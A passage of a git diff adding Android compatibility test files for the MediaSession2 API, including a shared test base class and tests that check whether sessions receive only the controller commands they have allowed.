+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY));
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE));
+ commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_STOP));
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commandsOut) {
+ assertNotNull(commandsOut);
+ Set<SessionCommand2> expected = commands.getCommands();
+ Set<SessionCommand2> actual = commandsOut.getCommands();
+
+ assertNotNull(actual);
+ assertEquals(expected.size(), actual.size());
+ for (SessionCommand2 command : expected) {
+ assertTrue(actual.contains(command));
+ }
+ latch.countDown();
+ }
+ };
+
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ ControllerInfo controllerInfo = getTestControllerInfo();
+ assertNotNull(controllerInfo);
+
+ mSession.setAllowedCommands(controllerInfo, commands);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSendCustomAction() throws InterruptedException {
+ final SessionCommand2 testCommand = new SessionCommand2(
+ SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+ final Bundle testArgs = new Bundle();
+ testArgs.putString("args", "testSendCustomAction");
+
+ final CountDownLatch latch = new CountDownLatch(2);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ assertEquals(testCommand, command);
+ assertTrue(TestUtils.equals(testArgs, args));
+ assertNull(receiver);
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller =
+ createController(mSession.getToken(), true, callback);
+ // TODO(jaewan): Test with multiple controllers
+ mSession.sendCustomCommand(testCommand, testArgs);
+
+ ControllerInfo controllerInfo = getTestControllerInfo();
+ assertNotNull(controllerInfo);
+ // TODO(jaewan): Test receivers as well.
+ mSession.sendCustomCommand(controllerInfo, testCommand, testArgs, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testNotifyError() throws InterruptedException {
+ final int errorCode = MediaSession2.ERROR_CODE_NOT_AVAILABLE_IN_REGION;
+ final Bundle extras = new Bundle();
+ extras.putString("args", "testNotifyError");
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onError(MediaController2 controller, int errorCodeOut, Bundle extrasOut) {
+ assertEquals(errorCode, errorCodeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ latch.countDown();
+ }
+ };
+ final MediaController2 controller = createController(mSession.getToken(), true, callback);
+ // TODO(jaewan): Test with multiple controllers
+ mSession.notifyError(errorCode, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ private ControllerInfo getTestControllerInfo() {
+ List<ControllerInfo> controllers = mSession.getConnectedControllers();
+ assertNotNull(controllers);
+ for (int i = 0; i < controllers.size(); i++) {
+ if (Process.myUid() == controllers.get(i).getUid()) {
+ return controllers.get(i);
+ }
+ }
+ fail("Failed to get test controller info");
+ return null;
+ }
+
+ public class MockOnConnectCallback extends SessionCallback {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controllerInfo) {
+ if (Process.myUid() != controllerInfo.getUid()) {
+ return null;
+ }
+ assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+ assertEquals(Process.myUid(), controllerInfo.getUid());
+ assertFalse(controllerInfo.isTrusted());
+ // Reject all
+ return null;
+ }
+ }
+
+ public class MockOnCommandCallback extends SessionCallback {
+ public final ArrayList<SessionCommand2> commands = new ArrayList<>();
+
+ @Override
+ public boolean onCommandRequest(MediaSession2 session, ControllerInfo controllerInfo,
+ SessionCommand2 command) {
+ assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+ assertEquals(Process.myUid(), controllerInfo.getUid());
+ assertFalse(controllerInfo.isTrusted());
+ commands.add(command);
+ if (command.getCommandCode() == SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE) {
+ return false;
+ }
+ return true;
+ }
+ }
+
+ private static void assertMediaItemListEquals(List<MediaItem2> a, List<MediaItem2> b) {
+ if (a == null || b == null) {
+ assertEquals(a, b);
+ }
+ assertEquals(a.size(), b.size());
+
+ for (int i = 0; i < a.size(); i++) {
+ MediaItem2 aItem = a.get(i);
+ MediaItem2 bItem = b.get(i);
+
+ if (aItem == null || bItem == null) {
+ assertEquals(aItem, bItem);
+ continue;
+ }
+
+ assertEquals(aItem.getMediaId(), bItem.getMediaId());
+ assertEquals(aItem.getFlags(), bItem.getFlags());
+ TestUtils.equals(aItem.getMetadata().toBundle(), bItem.getMetadata().toBundle());
+
+ // Note: Here it does not check whether DataSourceDesc are equal,
+ // since there DataSourceDec is not comparable.
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
new file mode 100644
index 0000000..047f2cd
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -0,0 +1,294 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.HandlerThread;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for session test.
+ */
+abstract class MediaSession2TestBase {
+ // Expected success
+ static final int WAIT_TIME_MS = 1000;
+
+ // Expected timeout
+ static final int TIMEOUT_MS = 500;
+
+ static TestUtils.SyncHandler sHandler;
+ static Executor sHandlerExecutor;
+
+ Context mContext;
+ private List<MediaController2> mControllers = new ArrayList<>();
+
+ interface TestControllerInterface {
+ ControllerCallback getCallback();
+ }
+
+ interface WaitForConnectionInterface {
+ void waitForConnect(boolean expect) throws InterruptedException;
+ void waitForDisconnect(boolean expect) throws InterruptedException;
+ }
+
+ @BeforeClass
+ public static void setUpThread() {
+ if (sHandler == null) {
+ HandlerThread handlerThread = new HandlerThread("MediaSession2TestBase");
+ handlerThread.start();
+ sHandler = new TestUtils.SyncHandler(handlerThread.getLooper());
+ sHandlerExecutor = (runnable) -> {
+ sHandler.post(runnable);
+ };
+ }
+ }
+
+ @AfterClass
+ public static void cleanUpThread() {
+ if (sHandler != null) {
+ sHandler.getLooper().quitSafely();
+ sHandler = null;
+ sHandlerExecutor = null;
+ }
+ }
+
+ @CallSuper
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @CallSuper
+ public void cleanUp() throws Exception {
+ for (int i = 0; i < mControllers.size(); i++) {
+ mControllers.get(i).close();
+ }
+ }
+
+ final MediaController2 createController(SessionToken2 token) throws InterruptedException {
+ return createController(token, true, null);
+ }
+
+ final MediaController2 createController(@NonNull SessionToken2 token,
+ boolean waitForConnect, @Nullable ControllerCallback callback)
+ throws InterruptedException {
+ TestControllerInterface instance = onCreateController(token, callback);
+ if (!(instance instanceof MediaController2)) {
+ throw new RuntimeException("Test has a bug. Expected MediaController2 but returned "
+ + instance);
+ }
+ MediaController2 controller = (MediaController2) instance;
+ mControllers.add(controller);
+ if (waitForConnect) {
+ waitForConnect(controller, true);
+ }
+ return controller;
+ }
+
+ private static WaitForConnectionInterface getWaitForConnectionInterface(
+ MediaController2 controller) {
+ if (!(controller instanceof TestControllerInterface)) {
+ throw new RuntimeException("Test has a bug. Expected controller implemented"
+ + " TestControllerInterface but got " + controller);
+ }
+ ControllerCallback callback = ((TestControllerInterface) controller).getCallback();
+ if (!(callback instanceof WaitForConnectionInterface)) {
+ throw new RuntimeException("Test has a bug. Expected controller with callback "
+ + " implemented WaitForConnectionInterface but got " + controller);
+ }
+ return (WaitForConnectionInterface) callback;
+ }
+
+ public static void waitForConnect(MediaController2 controller, boolean expected)
+ throws InterruptedException {
+ getWaitForConnectionInterface(controller).waitForConnect(expected);
+ }
+
+ public static void waitForDisconnect(MediaController2 controller, boolean expected)
+ throws InterruptedException {
+ getWaitForConnectionInterface(controller).waitForDisconnect(expected);
+ }
+
+ TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+ @Nullable ControllerCallback callback) {
+ if (callback == null) {
+ callback = new ControllerCallback() {};
+ }
+ return new TestMediaController(mContext, token, new TestControllerCallback(callback));
+ }
+
+ // TODO(jaewan): (Can be Post-P): Deprecate this
+ public static class TestControllerCallback extends MediaController2.ControllerCallback
+ implements WaitForConnectionInterface {
+ public final ControllerCallback mCallbackProxy;
+ public final CountDownLatch connectLatch = new CountDownLatch(1);
+ public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+ TestControllerCallback(@NonNull ControllerCallback callbackProxy) {
+ if (callbackProxy == null) {
+ throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+ }
+ mCallbackProxy = callbackProxy;
+ }
+
+ @CallSuper
+ @Override
+ public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+ connectLatch.countDown();
+ }
+
+ @CallSuper
+ @Override
+ public void onDisconnected(MediaController2 controller) {
+ disconnectLatch.countDown();
+ }
+
+ @Override
+ public void waitForConnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void waitForDisconnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+ }
+
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ MediaController2.PlaybackInfo info) {
+ mCallbackProxy.onPlaybackInfoChanged(controller, info);
+ }
+
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+ mCallbackProxy.onCustomLayoutChanged(controller, layout);
+ }
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+ }
+
+ @Override
+ public void onPlayerStateChanged(MediaController2 controller, int state) {
+ mCallbackProxy.onPlayerStateChanged(controller, state);
+ }
+
+ @Override
+ public void onSeekCompleted(MediaController2 controller, long position) {
+ mCallbackProxy.onSeekCompleted(controller, position);
+ }
+
+ @Override
+ public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+ mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+ }
+
+ @Override
+ public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+ int state) {
+ mCallbackProxy.onBufferingStateChanged(controller, item, state);
+ }
+
+ @Override
+ public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+ mCallbackProxy.onError(controller, errorCode, extras);
+ }
+
+ @Override
+ public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+ mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+ }
+
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> list, MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+ }
+
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+ }
+
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+ }
+ }
+
+ public class TestMediaController extends MediaController2 implements TestControllerInterface {
+ private final ControllerCallback mCallback;
+
+ public TestMediaController(@NonNull Context context, @NonNull SessionToken2 token,
+ @NonNull ControllerCallback callback) {
+ super(context, token, sHandlerExecutor, callback);
+ mCallback = callback;
+ }
+
+ @Override
+ public ControllerCallback getCallback() {
+ return mCallback;
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
new file mode 100644
index 0000000..91dc369
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -0,0 +1,545 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.media.MediaController2;
+import android.media.MediaItem2;
+import android.media.MediaSession2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests whether {@link MediaSession2} receives commands that hasn't allowed.
+ */
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2_PermissionTest extends MediaSession2TestBase {
+ private static final String SESSION_ID = "MediaSession2Test_permission";
+
+ private MockPlayer mPlayer;
+ private MediaSession2 mSession;
+ private MySessionCallback mCallback;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ if (mSession != null) {
+ mSession.close();
+ mSession = null;
+ }
+ mPlayer = null;
+ mCallback = null;
+ }
+
+ private MediaSession2 createSessionWithAllowedActions(final SessionCommandGroup2 commands) {
+ mPlayer = new MockPlayer(0);
+ mCallback = new MySessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() != controller.getUid()) {
+ return null;
+ }
+ return commands == null ? new SessionCommandGroup2() : commands;
+ }
+ };
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer).setId(SESSION_ID)
+ .setSessionCallback(sHandlerExecutor, mCallback).build();
+ return mSession;
+ }
+
+ private SessionCommandGroup2 createCommandGroupWith(int commandCode) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(commandCode));
+ return commands;
+ }
+
+ private SessionCommandGroup2 createCommandGroupWithout(int commandCode) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addAllPredefinedCommands();
+ commands.removeCommand(new SessionCommand2(commandCode));
+ return commands;
+ }
+
+ private void testOnCommandRequest(int commandCode, PermissionTestRunnable runnable)
+ throws InterruptedException {
+ createSessionWithAllowedActions(createCommandGroupWith(commandCode));
+ runnable.run(createController(mSession.getToken()));
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnCommandRequestCalled);
+ assertEquals(commandCode, mCallback.mCommand.getCommandCode());
+
+ createSessionWithAllowedActions(createCommandGroupWithout(commandCode));
+ runnable.run(createController(mSession.getToken()));
+
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnCommandRequestCalled);
+ }
+
+ @Test
+ public void testPlay() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_PLAY, (controller) -> {
+ controller.play();
+ });
+ }
+
+ @Test
+ public void testPause() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_PAUSE, (controller) -> {
+ controller.pause();
+ });
+ }
+
+ @Test
+ public void testStop() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_STOP, (controller) -> {
+ controller.stop();
+ });
+ }
+
+ @Test
+ public void testFastForward() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SESSION_FAST_FORWARD, (controller) -> {
+ controller.fastForward();
+ });
+ }
+
+ @Test
+ public void testRewind() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SESSION_REWIND, (controller) -> {
+ controller.rewind();
+ });
+ }
+
+ @Test
+ public void testSeekTo() throws InterruptedException {
+ final long position = 10;
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_SEEK_TO, (controller) -> {
+ controller.seekTo(position);
+ });
+ }
+
+ @Test
+ public void testSkipToNext() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM, (controller) -> {
+ controller.skipToNextItem();
+ });
+ }
+
+ @Test
+ public void testSkipToPrevious() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM, (controller) -> {
+ controller.skipToPreviousItem();
+ });
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM, (controller) -> {
+ controller.skipToPlaylistItem(testItem);
+ });
+ }
+
+ @Test
+ public void testSetPlaylist() throws InterruptedException {
+ List<MediaItem2> list = TestUtils.createPlaylist(2);
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST, (controller) -> {
+ controller.setPlaylist(list, null);
+ });
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST_METADATA, (controller) -> {
+ controller.updatePlaylistMetadata(null);
+ });
+ }
+
+ @Test
+ public void testAddPlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_ADD_ITEM, (controller) -> {
+ controller.addPlaylistItem(0, testItem);
+ });
+ }
+
+ @Test
+ public void testRemovePlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_REMOVE_ITEM, (controller) -> {
+ controller.removePlaylistItem(testItem);
+ });
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_REPLACE_ITEM, (controller) -> {
+ controller.replacePlaylistItem(0, testItem);
+ });
+ }
+
+ @Test
+ public void testSetVolume() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SET_VOLUME, (controller) -> {
+ controller.setVolumeTo(0, 0);
+ });
+ }
+
+ @Test
+ public void testPlayFromMediaId() throws InterruptedException {
+ final String mediaId = "testPlayFromMediaId";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+ createController(mSession.getToken()).playFromMediaId(mediaId, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromMediaIdCalled);
+ assertEquals(mediaId, mCallback.mMediaId);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+ createController(mSession.getToken()).playFromMediaId(mediaId, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromMediaIdCalled);
+ }
+
+ @Test
+ public void testPlayFromUri() throws InterruptedException {
+ final Uri uri = Uri.parse("play://from.uri");
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+ createController(mSession.getToken()).playFromUri(uri, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromUriCalled);
+ assertEquals(uri, mCallback.mUri);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+ createController(mSession.getToken()).playFromUri(uri, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromUriCalled);
+ }
+
+ @Test
+ public void testPlayFromSearch() throws InterruptedException {
+ final String query = "testPlayFromSearch";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+ createController(mSession.getToken()).playFromSearch(query, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+ createController(mSession.getToken()).playFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromSearchCalled);
+ }
+
+ @Test
+ public void testPrepareFromMediaId() throws InterruptedException {
+ final String mediaId = "testPrepareFromMediaId";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+ createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
+ assertEquals(mediaId, mCallback.mMediaId);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+ createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromMediaIdCalled);
+ }
+
+ @Test
+ public void testPrepareFromUri() throws InterruptedException {
+ final Uri uri = Uri.parse("prepare://from.uri");
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+ createController(mSession.getToken()).prepareFromUri(uri, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromUriCalled);
+ assertEquals(uri, mCallback.mUri);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+ createController(mSession.getToken()).prepareFromUri(uri, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromUriCalled);
+ }
+
+ @Test
+ public void testPrepareFromSearch() throws InterruptedException {
+ final String query = "testPrepareFromSearch";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ createController(mSession.getToken()).prepareFromSearch(query, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ createController(mSession.getToken()).prepareFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromSearchCalled);
+ }
+
+ @Test
+ public void testChangingPermissionWithSetAllowedCommands() throws InterruptedException {
+ final String query = "testChangingPermissionWithSetAllowedCommands";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+
+ ControllerCallbackForPermissionChange controllerCallback =
+ new ControllerCallbackForPermissionChange();
+ MediaController2 controller =
+ createController(mSession.getToken(), true, controllerCallback);
+
+ controller.prepareFromSearch(query, null);
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+ mCallback.reset();
+
+ // Change allowed commands.
+ mSession.setAllowedCommands(getTestControllerInfo(),
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ assertTrue(controllerCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ controller.prepareFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ private ControllerInfo getTestControllerInfo() {
+ List<ControllerInfo> controllers = mSession.getConnectedControllers();
+ assertNotNull(controllers);
+ for (int i = 0; i < controllers.size(); i++) {
+ if (Process.myUid() == controllers.get(i).getUid()) {
+ return controllers.get(i);
+ }
+ }
+ fail("Failed to get test controller info");
+ return null;
+ }
+
+ @FunctionalInterface
+ private interface PermissionTestRunnable {
